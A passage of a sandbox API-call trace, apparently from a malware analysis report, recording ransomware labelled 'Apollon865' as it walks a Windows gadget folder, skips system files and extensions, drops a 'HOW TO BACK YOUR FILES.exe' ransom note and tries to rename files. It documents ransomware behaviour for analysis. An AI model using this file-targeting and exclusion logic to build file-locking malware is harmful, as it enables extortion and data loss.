	[0051.858] lstrcmpiW (lpString1="4.png", lpString2=".lnk") returned 1
	[0051.858] lstrlenW (lpString=".ini") returned 4
	[0051.858] lstrcmpiW (lpString1="4.png", lpString2=".ini") returned 1
	[0051.858] lstrlenW (lpString=".sys") returned 4
	[0051.858] lstrcmpiW (lpString1="4.png", lpString2=".sys") returned 1
	[0051.858] lstrlenW (lpString="4.png") returned 5
	[0051.858] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="5.png" | out: lpString1="5.png") returned="5.png"
	[0051.858] lstrlenW (lpString="5.png") returned 5
	[0051.858] lstrlenW (lpString="Apollon865") returned 10
	[0051.858] lstrlenW (lpString=".dll") returned 4
	[0051.858] lstrcmpiW (lpString1="5.png", lpString2=".dll") returned 1
	[0051.858] lstrlenW (lpString=".lnk") returned 4
	[0051.858] lstrcmpiW (lpString1="5.png", lpString2=".lnk") returned 1
	[0051.858] lstrlenW (lpString=".ini") returned 4
	[0051.858] lstrcmpiW (lpString1="5.png", lpString2=".ini") returned 1
	[0051.858] lstrlenW (lpString=".sys") returned 4
	[0051.858] lstrcmpiW (lpString1="5.png", lpString2=".sys") returned 1
	[0051.858] lstrlenW (lpString="5.png") returned 5
	[0051.859] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="6.png" | out: lpString1="6.png") returned="6.png"
	[0051.859] lstrlenW (lpString="6.png") returned 5
	[0051.859] lstrlenW (lpString="Apollon865") returned 10
	[0051.859] lstrlenW (lpString=".dll") returned 4
	[0051.859] lstrcmpiW (lpString1="6.png", lpString2=".dll") returned 1
	[0051.859] lstrlenW (lpString=".lnk") returned 4
	[0051.859] lstrcmpiW (lpString1="6.png", lpString2=".lnk") returned 1
	[0051.859] lstrlenW (lpString=".ini") returned 4
	[0051.859] lstrcmpiW (lpString1="6.png", lpString2=".ini") returned 1
	[0051.859] lstrlenW (lpString=".sys") returned 4
	[0051.859] lstrcmpiW (lpString1="6.png", lpString2=".sys") returned 1
	[0051.859] lstrlenW (lpString="6.png") returned 5
	[0051.859] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="7.png" | out: lpString1="7.png") returned="7.png"
	[0051.859] lstrlenW (lpString="7.png") returned 5
	[0051.859] lstrlenW (lpString="Apollon865") returned 10
	[0051.859] lstrlenW (lpString=".dll") returned 4
	[0051.859] lstrcmpiW (lpString1="7.png", lpString2=".dll") returned 1
	[0051.859] lstrlenW (lpString=".lnk") returned 4
	[0051.859] lstrcmpiW (lpString1="7.png", lpString2=".lnk") returned 1
	[0051.859] lstrlenW (lpString=".ini") returned 4
	[0051.859] lstrcmpiW (lpString1="7.png", lpString2=".ini") returned 1
	[0051.859] lstrlenW (lpString=".sys") returned 4
	[0051.859] lstrcmpiW (lpString1="7.png", lpString2=".sys") returned 1
	[0051.859] lstrlenW (lpString="7.png") returned 5
	[0051.859] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="8.png" | out: lpString1="8.png") returned="8.png"
	[0051.859] lstrlenW (lpString="8.png") returned 5
	[0051.859] lstrlenW (lpString="Apollon865") returned 10
	[0051.859] lstrlenW (lpString=".dll") returned 4
	[0051.859] lstrcmpiW (lpString1="8.png", lpString2=".dll") returned 1
	[0051.859] lstrlenW (lpString=".lnk") returned 4
	[0051.860] lstrcmpiW (lpString1="8.png", lpString2=".lnk") returned 1
	[0051.860] lstrlenW (lpString=".ini") returned 4
	[0051.860] lstrcmpiW (lpString1="8.png", lpString2=".ini") returned 1
	[0051.860] lstrlenW (lpString=".sys") returned 4
	[0051.860] lstrcmpiW (lpString1="8.png", lpString2=".sys") returned 1
	[0051.860] lstrlenW (lpString="8.png") returned 5
	[0051.860] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="9.png" | out: lpString1="9.png") returned="9.png"
	[0051.860] lstrlenW (lpString="9.png") returned 5
	[0051.860] lstrlenW (lpString="Apollon865") returned 10
	[0051.860] lstrlenW (lpString=".dll") returned 4
	[0051.860] lstrcmpiW (lpString1="9.png", lpString2=".dll") returned 1
	[0051.860] lstrlenW (lpString=".lnk") returned 4
	[0051.860] lstrcmpiW (lpString1="9.png", lpString2=".lnk") returned 1
	[0051.860] lstrlenW (lpString=".ini") returned 4
	[0051.860] lstrcmpiW (lpString1="9.png", lpString2=".ini") returned 1
	[0051.860] lstrlenW (lpString=".sys") returned 4
	[0051.860] lstrcmpiW (lpString1="9.png", lpString2=".sys") returned 1
	[0051.860] lstrlenW (lpString="9.png") returned 5
	[0051.860] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="background.png" | out: lpString1="background.png") returned="background.png"
	[0051.860] lstrlenW (lpString="background.png") returned 14
	[0051.860] lstrlenW (lpString="Apollon865") returned 10
	[0051.860] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0051.860] lstrlenW (lpString=".dll") returned 4
	[0051.860] lstrcmpiW (lpString1="background.png", lpString2=".dll") returned 1
	[0051.860] lstrlenW (lpString=".lnk") returned 4
	[0051.860] lstrcmpiW (lpString1="background.png", lpString2=".lnk") returned 1
	[0051.860] lstrlenW (lpString=".ini") returned 4
	[0051.860] lstrcmpiW (lpString1="background.png", lpString2=".ini") returned 1
	[0051.860] lstrlenW (lpString=".sys") returned 4
	[0051.860] lstrcmpiW (lpString1="background.png", lpString2=".sys") returned 1
	[0051.861] lstrlenW (lpString="background.png") returned 14
	[0051.861] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="daisies.png" | out: lpString1="daisies.png") returned="daisies.png"
	[0051.861] lstrlenW (lpString="daisies.png") returned 11
	[0051.861] lstrlenW (lpString="Apollon865") returned 10
	[0051.861] lstrcmpiW (lpString1="aisies.png", lpString2="Apollon865") returned -1
	[0051.861] lstrlenW (lpString=".dll") returned 4
	[0051.861] lstrcmpiW (lpString1="daisies.png", lpString2=".dll") returned 1
	[0051.861] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="glow.png" | out: lpString1="glow.png") returned="glow.png"
	[0051.861] lstrlenW (lpString="glow.png") returned 8
	[0051.861] lstrlenW (lpString="Apollon865") returned 10
	[0051.861] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="hint_down.png" | out: lpString1="hint_down.png") returned="hint_down.png"
	[0051.861] lstrlenW (lpString="hint_down.png") returned 13
	[0051.861] lstrlenW (lpString="Apollon865") returned 10
	[0051.861] lstrcmpiW (lpString1="t_down.png", lpString2="Apollon865") returned 1
	[0051.861] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="hint_over.png" | out: lpString1="hint_over.png") returned="hint_over.png"
	[0051.861] lstrlenW (lpString="hint_over.png") returned 13
	[0051.861] lstrlenW (lpString="Apollon865") returned 10
	[0051.861] lstrcmpiW (lpString1="t_over.png", lpString2="Apollon865") returned 1
	[0051.861] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="hint_up.png" | out: lpString1="hint_up.png") returned="hint_up.png"
	[0051.861] lstrlenW (lpString="hint_up.png") returned 11
	[0051.861] lstrlenW (lpString="Apollon865") returned 10
	[0051.861] lstrcmpiW (lpString1="int_up.png", lpString2="Apollon865") returned 1
	[0051.861] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_box_bottom.png" | out: lpString1="settings_box_bottom.png") returned="settings_box_bottom.png"
	[0051.861] lstrlenW (lpString="settings_box_bottom.png") returned 23
	[0051.861] lstrlenW (lpString="Apollon865") returned 10
	[0051.862] lstrcmpiW (lpString1="bottom.png", lpString2="Apollon865") returned 1
	[0051.862] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_box_divider_left.png" | out: lpString1="settings_box_divider_left.png") returned="settings_box_divider_left.png"
	[0051.862] lstrlenW (lpString="settings_box_divider_left.png") returned 29
	[0051.862] lstrlenW (lpString="Apollon865") returned 10
	[0051.862] lstrcmpiW (lpString1="r_left.png", lpString2="Apollon865") returned 1
	[0051.862] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_box_divider_right.png" | out: lpString1="settings_box_divider_right.png") returned="settings_box_divider_right.png"
	[0051.862] lstrlenW (lpString="settings_box_divider_right.png") returned 30
	[0051.862] lstrlenW (lpString="Apollon865") returned 10
	[0051.862] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0051.862] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_box_left.png" | out: lpString1="settings_box_left.png") returned="settings_box_left.png"
	[0051.862] lstrlenW (lpString="settings_box_left.png") returned 21
	[0051.862] lstrlenW (lpString="Apollon865") returned 10
	[0051.862] lstrcmpiW (lpString1="x_left.png", lpString2="Apollon865") returned 1
	[0051.862] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_box_right.png" | out: lpString1="settings_box_right.png") returned="settings_box_right.png"
	[0051.862] lstrlenW (lpString="settings_box_right.png") returned 22
	[0051.862] lstrlenW (lpString="Apollon865") returned 10
	[0051.862] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0051.862] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_box_top.png" | out: lpString1="settings_box_top.png") returned="settings_box_top.png"
	[0051.862] lstrlenW (lpString="settings_box_top.png") returned 20
	[0051.862] lstrlenW (lpString="Apollon865") returned 10
	[0051.862] lstrcmpiW (lpString1="ox_top.png", lpString2="Apollon865") returned 1
	[0051.862] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_corner_bottom_left.png" | out: lpString1="settings_corner_bottom_left.png") returned="settings_corner_bottom_left.png"
	[0051.862] lstrlenW (lpString="settings_corner_bottom_left.png") returned 31
	[0051.862] lstrlenW (lpString="Apollon865") returned 10
	[0051.862] lstrcmpiW (lpString1="m_left.png", lpString2="Apollon865") returned 1
	[0051.863] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_corner_bottom_right.png" | out: lpString1="settings_corner_bottom_right.png") returned="settings_corner_bottom_right.png"
	[0051.863] lstrlenW (lpString="settings_corner_bottom_right.png") returned 32
	[0051.863] lstrlenW (lpString="Apollon865") returned 10
	[0051.863] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0051.863] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_corner_top_left.png" | out: lpString1="settings_corner_top_left.png") returned="settings_corner_top_left.png"
	[0051.863] lstrlenW (lpString="settings_corner_top_left.png") returned 28
	[0051.863] lstrlenW (lpString="Apollon865") returned 10
	[0051.863] lstrcmpiW (lpString1="p_left.png", lpString2="Apollon865") returned 1
	[0051.863] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_corner_top_right.png" | out: lpString1="settings_corner_top_right.png") returned="settings_corner_top_right.png"
	[0051.863] lstrlenW (lpString="settings_corner_top_right.png") returned 29
	[0051.863] lstrlenW (lpString="Apollon865") returned 10
	[0051.863] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0051.863] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_divider.png" | out: lpString1="settings_divider.png") returned="settings_divider.png"
	[0051.863] lstrlenW (lpString="settings_divider.png") returned 20
	[0051.863] lstrlenW (lpString="Apollon865") returned 10
	[0051.863] lstrcmpiW (lpString1="ivider.png", lpString2="Apollon865") returned 1
	[0051.863] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_divider_left.png" | out: lpString1="settings_divider_left.png") returned="settings_divider_left.png"
	[0051.863] lstrlenW (lpString="settings_divider_left.png") returned 25
	[0051.863] lstrlenW (lpString="Apollon865") returned 10
	[0051.863] lstrcmpiW (lpString1="r_left.png", lpString2="Apollon865") returned 1
	[0051.863] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_divider_right.png" | out: lpString1="settings_divider_right.png") returned="settings_divider_right.png"
	[0051.863] lstrlenW (lpString="settings_divider_right.png") returned 26
	[0051.863] lstrlenW (lpString="Apollon865") returned 10
	[0051.863] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0051.864] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_left_disabled.png" | out: lpString1="settings_left_disabled.png") returned="settings_left_disabled.png"
	[0051.864] lstrlenW (lpString="settings_left_disabled.png") returned 26
	[0051.864] lstrlenW (lpString="Apollon865") returned 10
	[0051.864] lstrcmpiW (lpString1="sabled.png", lpString2="Apollon865") returned 1
	[0051.864] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_left_hover.png" | out: lpString1="settings_left_hover.png") returned="settings_left_hover.png"
	[0051.864] lstrlenW (lpString="settings_left_hover.png") returned 23
	[0051.864] lstrlenW (lpString="Apollon865") returned 10
	[0051.864] lstrcmpiW (lpString1="_hover.png", lpString2="Apollon865") returned -1
	[0051.864] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_left_pressed.png" | out: lpString1="settings_left_pressed.png") returned="settings_left_pressed.png"
	[0051.864] lstrlenW (lpString="settings_left_pressed.png") returned 25
	[0051.864] lstrlenW (lpString="Apollon865") returned 10
	[0051.864] lstrcmpiW (lpString1="ressed.png", lpString2="Apollon865") returned 1
	[0051.864] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_left_rest.png" | out: lpString1="settings_left_rest.png") returned="settings_left_rest.png"
	[0051.864] lstrlenW (lpString="settings_left_rest.png") returned 22
	[0051.864] lstrlenW (lpString="Apollon865") returned 10
	[0051.864] lstrcmpiW (lpString1="t_rest.png", lpString2="Apollon865") returned 1
	[0051.864] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_right_disabled.png" | out: lpString1="settings_right_disabled.png") returned="settings_right_disabled.png"
	[0051.864] lstrlenW (lpString="settings_right_disabled.png") returned 27
	[0051.864] lstrlenW (lpString="Apollon865") returned 10
	[0051.864] lstrcmpiW (lpString1="sabled.png", lpString2="Apollon865") returned 1
	[0051.864] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_right_hover.png" | out: lpString1="settings_right_hover.png") returned="settings_right_hover.png"
	[0051.864] lstrlenW (lpString="settings_right_hover.png") returned 24
	[0051.864] lstrlenW (lpString="Apollon865") returned 10
	[0051.864] lstrcmpiW (lpString1="_hover.png", lpString2="Apollon865") returned -1
	[0051.865] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_right_pressed.png" | out: lpString1="settings_right_pressed.png") returned="settings_right_pressed.png"
	[0051.865] lstrlenW (lpString="settings_right_pressed.png") returned 26
	[0051.865] lstrlenW (lpString="Apollon865") returned 10
	[0051.865] lstrcmpiW (lpString1="ressed.png", lpString2="Apollon865") returned 1
	[0051.865] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="settings_right_rest.png" | out: lpString1="settings_right_rest.png") returned="settings_right_rest.png"
	[0051.865] lstrlenW (lpString="settings_right_rest.png") returned 23
	[0051.865] lstrlenW (lpString="Apollon865") returned 10
	[0051.865] lstrcmpiW (lpString1="t_rest.png", lpString2="Apollon865") returned 1
	[0051.865] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="setting_back.png" | out: lpString1="setting_back.png") returned="setting_back.png"
	[0051.865] lstrlenW (lpString="setting_back.png") returned 16
	[0051.865] lstrlenW (lpString="Apollon865") returned 10
	[0051.865] lstrcmpiW (lpString1="g_back.png", lpString2="Apollon865") returned 1
	[0051.865] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="shuffle_down.png" | out: lpString1="shuffle_down.png") returned="shuffle_down.png"
	[0051.865] lstrlenW (lpString="shuffle_down.png") returned 16
	[0051.865] lstrlenW (lpString="Apollon865") returned 10
	[0051.865] lstrcmpiW (lpString1="e_down.png", lpString2="Apollon865") returned 1
	[0051.865] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="shuffle_over.png" | out: lpString1="shuffle_over.png") returned="shuffle_over.png"
	[0051.865] lstrlenW (lpString="shuffle_over.png") returned 16
	[0051.865] lstrlenW (lpString="Apollon865") returned 10
	[0051.865] lstrcmpiW (lpString1="e_over.png", lpString2="Apollon865") returned 1
	[0051.865] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="shuffle_up.png" | out: lpString1="shuffle_up.png") returned="shuffle_up.png"
	[0051.865] lstrlenW (lpString="shuffle_up.png") returned 14
	[0051.865] lstrlenW (lpString="Apollon865") returned 10
	[0051.865] lstrcmpiW (lpString1="fle_up.png", lpString2="Apollon865") returned 1
	[0051.866] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="tile16.png" | out: lpString1="tile16.png") returned="tile16.png"
	[0051.866] lstrlenW (lpString="tile16.png") returned 10
	[0051.866] lstrlenW (lpString="Apollon865") returned 10
	[0051.866] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="tile_bezel.png" | out: lpString1="tile_bezel.png") returned="tile_bezel.png"
	[0051.866] lstrlenW (lpString="tile_bezel.png") returned 14
	[0051.866] lstrlenW (lpString="Apollon865") returned 10
	[0051.866] lstrcmpiW (lpString1="_bezel.png", lpString2="Apollon865") returned -1
	[0051.866] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="tile_drop_shadow.png" | out: lpString1="tile_drop_shadow.png") returned="tile_drop_shadow.png"
	[0051.866] lstrlenW (lpString="tile_drop_shadow.png") returned 20
	[0051.866] lstrlenW (lpString="Apollon865") returned 10
	[0051.866] lstrcmpiW (lpString1="shadow.png", lpString2="Apollon865") returned 1
	[0051.866] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="timer_down.png" | out: lpString1="timer_down.png") returned="timer_down.png"
	[0051.866] lstrlenW (lpString="timer_down.png") returned 14
	[0051.866] lstrlenW (lpString="Apollon865") returned 10
	[0051.866] lstrcmpiW (lpString1="r_down.png", lpString2="Apollon865") returned 1
	[0051.866] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="timer_over.png" | out: lpString1="timer_over.png") returned="timer_over.png"
	[0051.866] lstrlenW (lpString="timer_over.png") returned 14
	[0051.866] lstrlenW (lpString="Apollon865") returned 10
	[0051.866] lstrcmpiW (lpString1="r_over.png", lpString2="Apollon865") returned 1
	[0051.866] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="timer_up.png" | out: lpString1="timer_up.png") returned="timer_up.png"
	[0051.866] lstrlenW (lpString="timer_up.png") returned 12
	[0051.866] lstrlenW (lpString="Apollon865") returned 10
	[0051.866] lstrcmpiW (lpString1="mer_up.png", lpString2="Apollon865") returned 1
	[0051.866] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US"
	[0051.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0051.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0051.867] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US") returned 73
	[0051.867] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US"
	[0051.867] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.867] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.874] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36fc4e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36fc4e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.874] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.874] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.874] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.874] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36fc4e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36fc4e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.874] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.874] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.874] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.874] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.874] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0051.874] lstrcmpiW (lpString1="css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.874] lstrcmpiW (lpString1="css", lpString2="Apollon865.txt.exe") returned 1
	[0051.874] lstrcmpiW (lpString1="css", lpString2=".") returned 1
	[0051.874] lstrcmpiW (lpString1="css", lpString2="..") returned 1
	[0051.874] lstrcmpiW (lpString1="css", lpString2="windows") returned -1
	[0051.874] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1
	[0051.874] lstrcmpiW (lpString1="css", lpString2="temp") returned -1
	[0051.875] lstrcmpiW (lpString1="css", lpString2="pagefile.sys") returned -1
	[0051.875] lstrcmpiW (lpString1="css", lpString2="boot") returned 1
	[0051.875] lstrcmpiW (lpString1="css", lpString2="ids.txt") returned -1
	[0051.875] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1
	[0051.875] lstrcmpiW (lpString1="css", lpString2="perflogs") returned -1
	[0051.875] lstrcmpiW (lpString1="css", lpString2="MSBuild") returned -1
	[0051.875] lstrlenW (lpString="css") returned 3
	[0051.875] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*") returned 75
	[0051.875] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="css" | out: lpString1="css") returned="css"
	[0051.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0051.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x5994c0
	[0051.875] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0051.875] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="Apollon865.txt.exe") returned 1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="temp") returned -1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="pagefile.sys") returned -1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="boot") returned 1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="ids.txt") returned -1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="perflogs") returned -1
	[0051.875] lstrcmpiW (lpString1="gadget.xml", lpString2="MSBuild") returned -1
	[0051.875] lstrlenW (lpString="gadget.xml") returned 10
	[0051.875] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css") returned 77
	[0051.875] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0051.875] lstrlenW (lpString="gadget.xml") returned 10
	[0051.875] lstrlenW (lpString="Apollon865") returned 10
	[0051.876] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml.Apollon865") returned 95
	[0051.876] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.930] GetLastError () returned 0x5
	[0051.930] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 113
	[0051.930] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 113
	[0051.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0051.930] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1dfb
	[0051.930] WriteFile (in: hFile=0x118, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x71, lpOverlapped=0x0) returned 1
	[0051.935] CloseHandle (hObject=0x118) returned 1
	[0051.936] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.936] CloseHandle (hObject=0x0) returned 0
	[0051.936] CloseHandle (hObject=0x0) returned 0
